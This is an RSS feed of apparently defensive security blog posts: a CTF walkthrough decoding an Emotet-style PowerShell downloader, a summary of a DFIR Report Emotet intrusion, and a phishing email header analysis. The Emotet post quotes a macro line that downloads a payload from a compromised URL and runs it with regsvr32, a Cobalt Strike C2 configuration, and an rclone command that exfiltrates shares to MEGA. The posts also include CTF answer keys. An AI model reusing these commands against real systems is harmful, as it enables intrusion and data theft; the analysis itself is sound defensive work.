<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yehya Elsawy on Medium]]></title>
        <description><![CDATA[Stories by Yehya Elsawy on Medium]]></description>
        <link>https://medium.com/@yehyamuhammedelsawy?source=rss-80ef7f07fa98------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ovS3lF6XQM24mBwxRtKjIg.jpeg</url>
            <title>Stories by Yehya Elsawy on Medium</title>
            <link>https://medium.com/@yehyamuhammedelsawy?source=rss-80ef7f07fa98------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 08:32:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yehyamuhammedelsawy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From a Malicious Word Document to WMI-Spawned PowerShell]]></title>
            <link>https://medium.com/@yehyamuhammedelsawy/from-a-malicious-word-document-to-wmi-spawned-powershell-7ab37069119b?source=rss-80ef7f07fa98------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ab37069119b</guid>
            <dc:creator><![CDATA[Yehya Elsawy]]></dc:creator>
            <pubDate>Wed, 14 Oct 2026 15:28:47 GMT</pubDate>
            <atom:updated>2026-10-14T15:28:47.268Z</atom:updated>
            <content:encoded><![CDATA[<p>While solving a challenge on CyberHaze (From Word to PowerShell), I investigated a phishing scenario involving a suspicious Microsoft Word document that triggered PowerShell execution shortly after being opened.</p><p>The objective was to reconstruct the execution flow, analyze the encoded PowerShell command, understand how the payload was downloaded and executed, and extract the relevant technical details.</p><p>I used ANY.RUN’s interactive sandbox to examine the document’s behavior and CyberChef to decode and analyze the PowerShell command.</p><p><strong>Challenge:</strong> <a href="https://cyberhaze.io/challange-details/6acb9f7b6a18b641d1947132">CyberHaze — PowerShell Payload Analysis</a></p><p><strong>Sandbox report:</strong> <a href="https://app.any.run/tasks/0b663487-314b-4632-8a44-b2fc631a3b8e/">ANY.RUN — PO-465514–180820.doc</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*5tt_R6G-NHyPBJIl.gif" /></figure><h3>1. Initial Analysis: The Suspicious Word Document</h3><p>The investigation began with a suspicious Microsoft Word document delivered through email. According to the challenge scenario, the user downloaded and opened the attachment, after which the endpoint executed a PowerShell command containing an encoded payload.</p><p>I started by examining the document’s execution in ANY.RUN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2r1_mzh65ZHEFDBeJbyFBQ.png" /><figcaption>the document’s execution in ANY.RUN.</figcaption></figure><p>The sandbox identified the sample as malicious and displayed several relevant tags, including phishing, macros, PowerShell, and Emotet-related indicators.</p><h3>2. Process Tree Analysis: How Was PowerShell Spawned?</h3><p>The process tree in ANY.RUN showed WINWORD.EXE, an intermediate process identified as ai.exe, a PowerShell process marked with a WMI indicator, and a conhost.exe process.</p><p>The important observation was that PowerShell was associated with <strong>Windows Management Instrumentation (WMI)</strong>.</p><p>WMI is a legitimate Windows management framework that can perform operations such as querying system information and creating processes. Its Win32_Process.Create method can be used to launch a new process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kpD_BxxBvnVfSthx_SS2RQ.png" /><figcaption>powershell.exe</figcaption></figure><h3>3. Decoding the PowerShell Payload</h3><p>After identifying the PowerShell process, I examined its command line and found a long encoded payload.</p><blockquote>The first question was straightforward: <strong>What encoding format was used?</strong></blockquote><p>I copied the encoded command into CyberChef and applied the following recipe:</p><ol><li>From Base64</li><li>Decode text using UTF-16LE (1200)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6RpoorOXHFh2eU_EOYFazg.png" /><figcaption>CyberChef recipe</figcaption></figure><p>Instead of writing complete commands and values directly, the script assembled strings from smaller fragments.</p><p>For example, a class name was constructed using concatenation:</p><p>(&#39;new-&#39;+&#39;obje&#39;+&#39;ct&#39;)</p><p>Reconstructing the string produces new-object, which is the PowerShell cmdlet used to instantiate a .NET object.</p><p>The script also assembled variable values, paths, URLs, and command names in a similar fashion.</p><ul><li><strong>Answer:</strong> Base64</li></ul><h3>4. Reconstructing the Download-and-Execution Logic</h3><p>After decoding the payload, I examined the script’s execution flow and focused on its file-system operations, networking components, and conditions for launching the downloaded executable.</p><h3>A. Creating the working directory</h3><p>The script contained the following logic:</p><p>$env:TEMP\OFFICE2019</p><p>It used the New-Item cmdlet with the -ItemType Directory parameter to create the OFFICE2019 directory under the temporary directory.</p><p>The relevant environment variable is $env:TEMP.</p><p>This directory serves as the intended working location for the downloaded executable.</p><blockquote>Q2 : Which environment variable is used as the base location for creating the OFFICE2019 directory?</blockquote><ul><li><strong>Answer:</strong> TEMP</li></ul><p><strong><em>Note: you will need this review the A point to be able to answer question 5 and also question 6. So keep that in mind :)</em></strong></p><h3>B. Reconstructing the downloaded filename</h3><p>One of the more interesting parts of the investigation was the obfuscated variable $Ec9w4e0.</p><p>The script constructed its value using the temporary directory, string concatenation, a Replace() operation, another variable, and an executable extension.</p><p>The relevant fragments shown in CyberChef included:</p><ul><li>(&#39;N&#39;+&#39;3p0&#39;+&#39;ffice2019N3&#39;+&#39;p&#39;)</li><li>(&#39;Z0&#39;+&#39;fv3kbg&#39;)</li><li>(&#39;.ex&#39;+&#39;e&#39;)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*7o221zLtIzV3vK6QjtXUKA.png" /></figure><p>The script also used a replacement operation to substitute the obfuscated string N3p with a backslash.</p><p>Resolving the concatenations and replacement operation produces the intended path:</p><p>%TEMP%\office2019\Z0fv3kbg.exe</p><blockquote>Q3 :What is the final filename of the downloaded executable?</blockquote><ul><li><strong>Answer: </strong>Z0fv3kbg.exe</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eL48gO4wolmRr67I-s0cwA.png" /></figure><h3>C. Identifying the .NET networking class</h3><p>The script constructed the following command through string concatenation:</p><p>(&#39;new-&#39;+&#39;obje&#39;+&#39;ct&#39;) NET.WebClient</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*IJ1EXcSchsp58pPmxaCCbA.png" /></figure><p>Reconstructing the cmdlet gives:</p><p>New-Object NET.WebClient</p><p>The .NET class being instantiated is System.Net.WebClient, which provides methods for communicating with remote resources and downloading data.</p><blockquote>Q4 :Which .NET class is used to download the executable?</blockquote><ul><li><strong>Answer: </strong>WebClient</li></ul><h3>D. Identifying the URLs embedded in the script as download locations</h3><p>They are stored in the $Innewc_ variable and separated by * delimiters. The script then iterates through the entries using foreach and attempts to download the executable from each URL until the file-size condition is satisfied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*mqXNtEpBdVqeKnmtK_Ad3A.png" /></figure><blockquote>Q7 :How many URLs are embedded in the script as download locations?</blockquote><ul><li><strong>Answer: </strong>5</li></ul><h3>E. Checking the downloaded file before execution</h3><p>After downloading the file, the script used a condition equivalent to:</p><p>(Get-Item $Ec9w4e0).Length -ge 31451</p><p>The Get-Item cmdlet retrieves the file-system item, and its Length property provides the file size in bytes.</p><p>The -ge comparison operator means <em>greater than or equal to</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*kBBpuwFANwSIFdY0vnSApA.png" /></figure><p>Therefore, the script required the downloaded file to be at least <strong>31,451 bytes</strong> before proceeding to the execution step.</p><blockquote>Q8 :What is the minimum file size required before the downloaded executable is launched?</blockquote><ul><li><strong>Answer: </strong>31451</li></ul><p><strong><em>Note: you will need this review the A point to be able to answer question 10.<br>So keep that in mind :)</em></strong></p><h3>F. Executing the downloaded executable</h3><p>If the file-size condition was satisfied, the script invoked:</p><p>Invoke-Item $Ec9w4e0</p><p>The Invoke-Item cmdlet opens or invokes the specified item using the associated handler. For an executable file, this can result in the executable being launched.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*IaeomLwxhNfF_kblDfY86A.png" /></figure><p>The script then used break to leave the URL-processing loop.</p><p>The overall logic was therefore:</p><ol><li>Iterate through the available download URLs.</li><li>Attempt to download a file to the constructed local path.</li><li>Check whether the resulting file meets the minimum size requirement.</li><li>Invoke the file if the condition is satisfied.</li><li>Stop processing additional URLs after reaching that branch.</li></ol><blockquote>Q9 :Which PowerShell cmdlet is used to execute the downloaded file?</blockquote><blockquote><strong>Answer: </strong>Invoke-Item</blockquote><h3>For the Last Question :</h3><blockquote>Q11 :What PowerShell method is used to download the executable from the URL to the local machine?</blockquote><blockquote><strong>Answer: </strong><em>DownloadFile</em></blockquote><p>and we can find that PowerShell method within this Picture:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Txs7vniLa_f1CoFNyhYCBw.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><h3>Conclusion</h3><p>This challenge was a useful exercise in connecting endpoint process telemetry with script analysis.</p><p>The investigation began with a suspicious Word document, continued through the process tree in ANY.RUN, and led to a WMI-associated PowerShell process containing a Base64-encoded command. Decoding the command revealed additional obfuscation, a temporary working directory, a .NET networking class, multiple URL expressions, a file-size check, and a mechanism for invoking the downloaded executable.</p><p><strong>Tools used:</strong> ANY.RUN Sandbox · CyberChef · Windows process-tree analysis</p><p><strong>Challenge:</strong> <a href="https://cyberhaze.io/challange-details/6acb9f7b6a18b641d1947132">CyberHaze — PowerShell Investigation</a></p><p><strong><em>See You Soon…</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*R20aCUyxRJVbcHku.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ab37069119b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Emotet: The Malware That Refuses to Die.]]></title>
            <link>https://medium.com/@yehyamuhammedelsawy/emotet-the-malware-that-refuses-to-die-91ce6f5a9e35?source=rss-80ef7f07fa98------2</link>
            <guid isPermaLink="false">https://medium.com/p/91ce6f5a9e35</guid>
            <dc:creator><![CDATA[Yehya Elsawy]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 15:10:04 GMT</pubDate>
            <atom:updated>2026-10-11T15:16:55.242Z</atom:updated>
            <content:encoded><![CDATA[<p>In the ever-evolving landscape of cybersecurity threats, few malware families have demonstrated the resilience and adaptability of Emotet. Originally emerging as a banking trojan in 2014, Emotet has transformed into a sophisticated initial access broker and malware delivery platform. The DFIR Report’s analysis of a May 2022 intrusion provides a fascinating window into how this “never-dying” malware continues to plague organizations worldwide.</p><p>This write-up breaks down the key findings from that report, explaining the attack chain, the techniques used, and what defenders can learn from this incident.</p><p><strong>Original investigation:</strong> <a href="https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/">Dead or Alive? An Emotet Story — The DFIR Report</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*fvxNsVCw1LiOuMq-.gif" /></figure><h3>The Big Picture: What Happened?</h3><p>A seemingly routine phishing email containing a malicious Excel document led to a four-day domain-wide compromise. The attack chain unfolded as follows:</p><ol><li><strong>Day 0:</strong> A user opened a malicious Excel file and enabled macros</li><li><strong>Day 1:</strong> Emotet established persistence and began spreading via email</li><li><strong>Day 2:</strong> Cobalt Strike was deployed; threat actors performed reconnaissance and lateral movement</li><li><strong>Day 3:</strong> Data exfiltration using Rclone to MEGA cloud storage</li><li><strong>Day 4:</strong> Final exfiltration activities before the threat actors were evicted</li></ol><p>What makes this case particularly interesting is the dual functionality of Emotet: it served both as an initial access vector for human operators and as a self-propagating email worm.</p><h3>Initial Access: The Deceptive Excel Document</h3><h3>The Phishing Lure</h3><p>The attack began with a ZIP file delivered via email containing an Excel document (info_1805.xls). This document employed several evasion techniques:</p><ul><li><strong>Hidden sheets:</strong> Concealing malicious content from casual inspection</li><li><strong>White text on white background:</strong> Making malicious formulas invisible to the user</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DjLaGL1j-WZNQSTC.png" /><figcaption><em>“Source: The DFIR Report, ‘Dead or Alive? An Emotet Story’ (2022).”</em></figcaption></figure><ul><li><strong>Excel 4.0 macros:</strong> An older macro format that often bypasses modern security controls</li></ul><h3>The Malicious Macro</h3><p>After deobfuscation using xlmdeobfuscator, the macro&#39;s purpose became clear. It used the URLDownloadToFileA function to download a payload from multiple compromised legitimate websites:</p><pre>=CALL(&quot;urlmon&quot;,&quot;URLDownloadToFileA&quot;,&quot;JJCCBB&quot;,0,&quot;http://praachichemfood[.]com/wp-content/Mwmos/&quot;,&quot;..\hvxda.ocx&quot;,0,0)</pre><p>The macro attempted connections to several URLs, demonstrating resilience — if one domain was taken down, others remained available. The downloaded file was saved as hvxda.ocx (a DLL) and executed via regsvr32.exe:</p><pre>=EXEC(&quot;C:\Windows\System32\regsvr32.exe ..\hvxda.ocx&quot;)</pre><h3>Why This Matters</h3><p>This technique exploits a fundamental trust relationship: users expect Excel documents to be safe, and regsvr32.exe is a legitimate Windows binary. This is an example of &quot;Living off the Land&quot; (LotL) techniques, where attackers abuse legitimate tools to avoid detection.</p><h3>Emotet’s Execution and Persistence</h3><h3>The Emotet Payload</h3><p>The downloaded DLL (llJyMIOvft.dll) served as the Emotet loader. Once executed, it:</p><ol><li>Created a folder with random characters in %USERPROFILE%\AppData\Local\</li><li>Established persistence via a registry run key</li><li>Began command-and-control (C2) communications</li></ol><h3>The Email Spreader Module</h3><p>One of Emotet’s most dangerous capabilities is its email spreader. Approximately 40 minutes after initial execution, the malware began:</p><ul><li>Connecting to various email servers</li><li>Sending new phishing emails with malicious attachments</li><li>Propagating to new victims using compromised email accounts</li></ul><p>The spreader operated on a daily schedule, running until midnight UTC, then pausing before resuming the next day. This pattern suggests deliberate operational security to mimic business hours.</p><h3>The Handoff: Emotet to Cobalt Strike</h3><h3>Cobalt Strike Deployment</h3><p>Approximately 26 hours after initial infection, Emotet downloaded and executed a Cobalt Strike beacon. The beacon configuration revealed:</p><pre>{<br>  &quot;beacontype&quot;: [&quot;HTTP&quot;],<br>  &quot;sleeptime&quot;: 45000,<br>  &quot;jitter&quot;: 37,<br>  &quot;server&quot;: {<br>    &quot;hostname&quot;: &quot;59.95.98.204&quot;,<br>    &quot;port&quot;: 8080<br>  },<br>  &quot;http-get&quot;: {<br>    &quot;uri&quot;: &quot;/jquery-3.3.1.min.js&quot;<br>  },<br>  &quot;http-post&quot;: {<br>    &quot;uri&quot;: &quot;/jquery-3.3.2.min.js&quot;<br>  }<br>}</pre><p>The beacon was configured to blend in with legitimate traffic by using URLs that mimic jQuery CDN requests a classic example of “hiding in plain sight.”</p><h3>Process Injection</h3><p>Emotet injected the Cobalt Strike payload into legitimate Windows processes:</p><ul><li>svchost.exe</li><li>dllhost.exe</li></ul><p>This technique, known as process injection, makes detection significantly harder because the malicious code runs within trusted processes.</p><h3>Post-Exploitation: The Human Operators Take Over</h3><h3>Discovery and Reconnaissance</h3><p>Once Cobalt Strike was established, threat actors began systematic reconnaissance:</p><p>Native Windows Commands:</p><pre>systeminfo<br>ipconfig /all<br>net group &quot;Domain Computers&quot; /domain<br>net group /domain &quot;Domain Admins&quot;<br>net users<br>nltest /DOMAIN_TRUSTS</pre><p><strong>PowerView Modules:</strong></p><ul><li>Invoke-ShareFinder: Enumerating network shares</li><li>Invoke-Kerberoast: Identifying accounts vulnerable to Kerberoasting</li></ul><p><strong>AdFind:</strong><br>The find.bat script used AdFind to extract:</p><ul><li>User accounts</li><li>Computer accounts</li><li>Organizational units</li><li>Trust relationships</li><li>Subnets</li><li>Group information</li></ul><p>Network Mapping:<br>The p.bat script pinged servers to identify live hosts:</p><pre>batch<br><br>for /f %%i in (SERVERS.txt) do ping %%i -n 1 &gt;&gt; res.txt</pre><h3>Credential Access</h3><p>The threat actors targeted credentials aggressively:</p><ol><li><strong>LSASS Dumping:</strong> Using the SearchIndexer process to access LSASS memory</li><li><strong>Kerberoasting:</strong> Extracting service account hashes for offline cracking</li><li><strong>Pass-the-Hash:</strong> Using captured NTLM hashes for lateral movement</li></ol><p>The LSASS dump via SearchIndexer was particularly clever — this process normally has legitimate reasons to access various system components, making the activity less suspicious.</p><h3>Lateral Movement</h3><h3>The Attack Progression</h3><p>The threat actors moved laterally through the network systematically:</p><ol><li><strong>Workstation to Workstation:</strong> Using Cobalt Strike DLLs over SMB</li><li><strong>Domain Controller Access:</strong> Pivoting to the most valuable target</li><li><strong>Server Compromise:</strong> Expanding control across the infrastructure</li></ol><h3>Techniques Used</h3><p><strong>SMB Lateral Movement:</strong><br>The threat actors transferred Cobalt Strike DLLs (1.dll) over SMB and executed them via remote services. This generated Windows Event ID 7045 on target hosts.</p><p>Below, the network traffic shows the SMB lateral transfer of one of the Atera Agent MSI installers (1.msi) used to gain access laterally on a host and provide persistence for later access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ICPUo0NWN5CHgJE7.png" /><figcaption><em>“Source: The DFIR Report, ‘Dead or Alive? An Emotet Story’ (2022).”</em></figcaption></figure><p><strong>Pass-the-Hash:</strong><em>“Source: The DFIR Report, ‘Dead or Alive? An Emotet Story’ (2022).”</em><br>Evidence of PTH was found through:</p><ul><li>Windows Event ID 4624 (Logon Type 9, Logon Process = seclogo)</li><li>Windows Event ID 4776 on domain controllers</li></ul><p><strong>Remote Access Tools:</strong><br>The attackers deployed legitimate remote monitoring and management (RMM) tools:</p><ul><li>Atera: Installed via 1.msi for persistent access</li><li>Splashtop: Additional backup access mechanism</li></ul><p>These tools are particularly insidious because they’re legitimate software detection requires context-aware monitoring.</p><h3>Data Exfiltration</h3><h3>Rclone to MEGA</h3><p>The threat actors used Rclone, a legitimate file synchronization tool, to exfiltrate data:</p><pre>rclone.exe copy \\REDACTED\Shares mega:Shares -q --ignore-existing --auto-confirm --multi-thread-streams 4 --transfers 4</pre><p>Key observations:</p><ul><li><strong>Destination:</strong> <a href="https://mega.io/">MEGA.io</a> cloud storage</li><li><strong>Method: </strong>SMB share access</li><li><strong>Pattern: </strong>Exfiltrated same data twice from different hosts (redundancy)</li></ul><p>The use of legitimate cloud services for exfiltration is increasingly common because:</p><ol><li>Traffic to cloud providers is often allowed</li><li>Encryption is standard</li><li>Attribution is difficult</li></ol><h3>Detection Opportunities</h3><h3>Network Detections</h3><p>Suricata Rules:</p><pre>ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile M2<br>ET MALWARE Cobalt Strike Beacon Activity (GET)<br>ET MALWARE W32/Emotet CnC Beacon 3<br>ET POLICY SMB Executable File Transfer</pre><p>Key Indicators:</p><ul><li>Cobalt Strike C2: 59.95.98.204:8080</li><li>Emotet C2: Multiple IPs on ports 8080, 7080, 443</li></ul><h3>Sigma Rules</h3><p>The DFIR Report provided several Sigma rules, including:</p><p>AteraAgent Detection:</p><pre>title: AteraAgent malicious installations<br>detection:<br>    selection1:<br>        Image: &#39;*\AteraAgent.exe&#39;<br>        CommandLine|contains|all:<br>          - &#39;/i &#39;<br>          - &#39;IntegratorLogin=&#39;<br>    selection2:<br>        CommandLine|contains:<br>          - &#39;@gmail.com&#39;<br>          - &#39;@hotmail.com&#39;<br>          - &#39;@outlook.com&#39;<br>    condition: selection1 and selection2</pre><p>This rule detects Atera installations using non-business email addresses — a strong indicator of malicious use.</p><p>Rclone Exfiltration:</p><pre>title: Rclone SMB Share Exfiltration<br>logsource:<br>  product: zeek<br>  service: smb_files<br>detection:<br>  selection:<br>    file_name|endswith:<br>      - &#39;\rclone.exe&#39;<br>  condition: selection</pre><h3>YARA Rules</h3><p>The report includes YARA rules for detecting:</p><ul><li>Emotet DLLs (llJyMIOvft.dll)</li><li>Cobalt Strike payloads (UOmCgbXygCe.exe, 1.dll)</li><li>Malicious documents (info_1805.xls)</li><li>Batch scripts (find.bat, p.bat)</li></ul><h3>MITRE ATT&amp;CK Mapping</h3><pre>Dynamic-link Library Injection - T1055.001<br>Component Object Model - T1559.001<br>PowerShell - T1059.001<br>Regsvr32 - T1218.010<br>Pass the Hash - T1550.002<br>Domain Groups - T1069.002<br>Domain Account - T1087.002<br>Domain Trust Discovery - T1482<br>Malicious File - T1204.002<br>SMB/Windows Admin Shares - T1021.002<br>Lateral Tool Transfer - T1570<br>Process Injection - T1055<br>Exfiltration to Cloud Storage - T1567.002<br>Thread Execution Hijacking - T1055.003<br>Remote System Discovery - T1018<br>System Information Discovery - T1082<br>Application Layer Protocol - T1071<br>Network Share Discovery - T1135<br>Kerberoasting - T1558.003<br>LSASS Memory - T1003.001<br>Registry Run Keys / Startup Folder - T1547.001<br>Phishing - T1566<br>Spearphishing Attachment - T1566.001</pre><h3>Key Takeaways for Defenders</h3><h3>1. Macro-Based Attacks Persist</h3><p>Despite Microsoft’s efforts to block macros by default, attackers continue to find ways to deliver macro-based payloads. Organizations should:</p><ul><li>Disable macros from the internet by default</li><li>Implement application allowlisting</li><li>Train users to recognize phishing attempts</li></ul><h3>2. Emotet Remains Dangerous</h3><p>Emotet’s ability to:</p><ul><li>Self-propagate via email</li><li>Download additional payloads</li><li>Evade detection through process injection</li></ul><p>makes it a persistent threat. Regular threat hunting for Emotet indicators is essential.</p><h3>3. Living off the Land is the New Normal</h3><p>Attackers increasingly use legitimate tools:</p><ul><li>regsvr32.exe for execution</li><li>Rclone for exfiltration</li><li>Atera/Splashtop for persistence</li></ul><p>Detection must focus on behavior, not just file signatures.</p><h3>4. Speed Matters</h3><p>The threat actors:</p><ul><li>Deployed Cobalt Strike within 26 hours</li><li>Began lateral movement within 29 hours</li><li>Started exfiltration within 3 days</li></ul><p>Rapid detection and response are critical. Every hour of dwell time increases the risk of data loss.</p><h3>5. Cloud Services as Exfiltration Channels</h3><p>The use of MEGA for data exfiltration highlights the need to:</p><ul><li>Monitor outbound traffic to cloud storage providers</li><li>Implement data loss prevention (DLP) solutions</li><li>Baseline normal cloud service usage</li></ul><h3>Conclusion</h3><p>The DFIR Report’s analysis of this Emotet intrusion provides valuable insights into modern attack chains. The combination of:</p><ul><li>Sophisticated initial access (macro-based Emotet)</li><li>Powerful post-exploitation (Cobalt Strike)</li><li>Legitimate tool abuse (Rclone, Atera)</li><li>Cloud-based exfiltration (MEGA)</li></ul><p>represents a mature threat actor with clear objectives.</p><p>While this intrusion was stopped before ransomware deployment, the report notes that similar cases often end with domain-wide encryption. The threat actors’ patience — operating over four days during business hours suggests they were confident in their ability to avoid detection.</p><p>For defenders, this case reinforces the importance of:</p><ol><li><strong>Defense in depth:</strong> Multiple layers of security controls</li><li><strong>Behavioral detection:</strong> Looking beyond signatures</li><li><strong>Rapid response:</strong> Minimizing dwell time</li><li><strong>User education:</strong> The human firewall remains critical</li></ol><p>Emotet may be “dead” in the sense that its original operators were disrupted, but like a hydra it has returned. Organizations must remain vigilant against this persistent threat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*bEWjPpl7QkgdYz8l.gif" /></figure><p><em>This analysis is based on the DFIR Report’s case study “Dead or Alive? An Emotet Story” published September 12, 2022. The full report, including all IOCs and detection rules, is available at </em><a href="https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/"><em>thedfirreport.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91ce6f5a9e35" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyberhaze Walkthrough: Phishing Investigation “Wallet Verification Scam”]]></title>
            <link>https://medium.com/@yehyamuhammedelsawy/cyberhaze-walkthrough-phishing-investigation-wallet-verification-scam-e233c6e56672?source=rss-80ef7f07fa98------2</link>
            <guid isPermaLink="false">https://medium.com/p/e233c6e56672</guid>
            <dc:creator><![CDATA[Yehya Elsawy]]></dc:creator>
            <pubDate>Sun, 27 Sep 2026 16:57:52 GMT</pubDate>
            <atom:updated>2026-09-27T16:57:52.544Z</atom:updated>
            <content:encoded><![CDATA[<p>Another day, another threat actor sliding into the corporate inbox pretending to safeguard crypto assets. Today, we dissect an email claiming our Trust Wallet is on the verge of doom unless we promptly hit that shiny link.</p><p>Armed with <strong>Fedora</strong>, <strong>KMail</strong>, <strong>Thunderbird</strong>, <strong>AbuseIPDB</strong>, <strong>MXToolBox</strong>, and <strong>Whois</strong>, let’s see how this scam falls apart under the microscope.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*uUOCduJDqkm6otu3cpD60g.gif" /></figure><h4><strong>Question 1: What is the subject of the email?</strong></h4><p>Opening the raw email in <strong>KMail</strong>, the subject line jumps right out, complete with an urgency gimmick and a random trailing tracking hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JxiTwHmdQgGJkbEdD4tvNw.png" /></figure><ul><li><strong>Answer:</strong> FWD: All unverified accounts will be suspended on 10/30/2022. 2hwpexn64bmc7qrzvo0kyduajlgf3598</li></ul><h4>Question 2: What is the sender email address shown to the recipient?</h4><p>Looking at the From: header in KMail, the attacker sets the display name to &quot;Trustwallet-Support&quot; while using a messy inbox address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lyK8HX5RhD78ZYDOGi6V1A.png" /></figure><ul><li><strong>Answer:</strong> 7wq1vg3kn9woejk4@emails.gorgias.com</li></ul><h4>Question 3: What is the actual Return-Path email address?</h4><p>Switching over to Thunderbird to inspect the raw message source (Ctrl + U), we locate the envelope sender where bounced delivery notices go:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*y3xjMfibQuwyM4Q0-WHsgA.png" /></figure><ul><li><strong>Answer:</strong> bounce+31a2a2.6303d-emily.jenkins=potentialsecurity.net@gorgias.io</li></ul><h4>Question 4: What is the sending IP address?</h4><p>Still in the raw email headers, we check the originating delivery server under X-Mailgun-Sending-Ip (or the initial Received: hop):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oFvnGQQooBiDXu0W_0DpwA.png" /></figure><ul><li><strong>Answer:</strong> 143.55.227.147</li></ul><h4>Question 5: What is the Country of this IP?</h4><p>Plugging 143.55.227.147 into <strong>AbuseIPDB</strong>, we resolve the geolocation for Mailgun&#39;s infrastructure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eFaaHztPmKOUIxDfRs-tQ.png" /></figure><ul><li><strong>Answer:</strong> United States</li></ul><h4>Question 6: What is ASN of this IP?</h4><p>Checking the ASN details on AbuseIPDB for the same IP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0KSDdqhXoPE2jHqR3fdK4Q.png" /></figure><ul><li><strong>Answer:</strong> AS396479</li></ul><h4>Question 7: What is the actual domain of the sender?</h4><p>Checking the authenticated Sender: field in the raw header (7wq1vg3kn9woejk4=emails.gorgias.com@gorgias.io), the real root domain responsible for transmitting the email is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*KGIhv8ajtbbm-QsNYvzWSw.png" /></figure><ul><li><strong>Answer:</strong> gorgias.io</li></ul><h4>Question 8: Did the SPF check pass or fail?</h4><p>Inspecting Authentication-Results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*g414Za0c_w_30EQ81x-efw.png" /></figure><ul><li><strong>Answer:</strong> pass</li></ul><h4>Question 9: Did the DKIM check pass or fail?</h4><p>From the previous photo :</p><ul><li><strong>Answer:</strong> pass</li></ul><h4>Question 10: Did the DMARC check pass or fail?</h4><p>Again from the previous photo :</p><ul><li><strong>Answer:</strong> fail</li></ul><h4>Question 11: When was this email sent?</h4><p>From the internal Date: header in the raw email:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*Nran5mDmKt9-3RpkZYPXiw.png" /></figure><ul><li><strong>Answer:</strong> 2022/31/10 07:03:57</li></ul><h4>Question 12: When will the sender domain expire?</h4><p>Running a <strong>Whois</strong> lookup on the sender domain (gorgias.io):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*dw6ulTIKCOn_4DSsfAVq7w.png" /></figure><ul><li><strong>Answer:</strong> 2030/11/20</li></ul><h4>Question 13: What is the DNS MX record for their domain?</h4><p>Entering gorgias.io into <strong>MXToolBox</strong> to pull its mail exchanger records:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k5DSeB_26dl-vdNlJYOxqg.png" /></figure><ul><li><strong>Answer:</strong> aspmx.l.google.com</li></ul><h4>Question 14: When was the sender domain Registered On?</h4><p>Referencing the initial <strong>Whois</strong> lookup:</p><ul><li><strong>Answer:</strong> 2014/11/20</li></ul><h4>Final Question: Clicking on “Confirm my wallet” phrase takes you to a URL, what is that?</h4><p>Looking at the hyperlinked reference in the email body source under link tag :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OURalodOQ4cDcmcCWdmRjg.png" /></figure><ul><li><strong>Answer:</strong> The full destination URL embedded inside the anchor tag behind Confirm my wallet (e.g., the raw redirect / phishing gateway URL).</li></ul><p><strong><em>Case Closed.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*KvMmdYZghVworbt-BQoq7w.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e233c6e56672" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF-Trivial Flag Transfer Protocol]]></title>
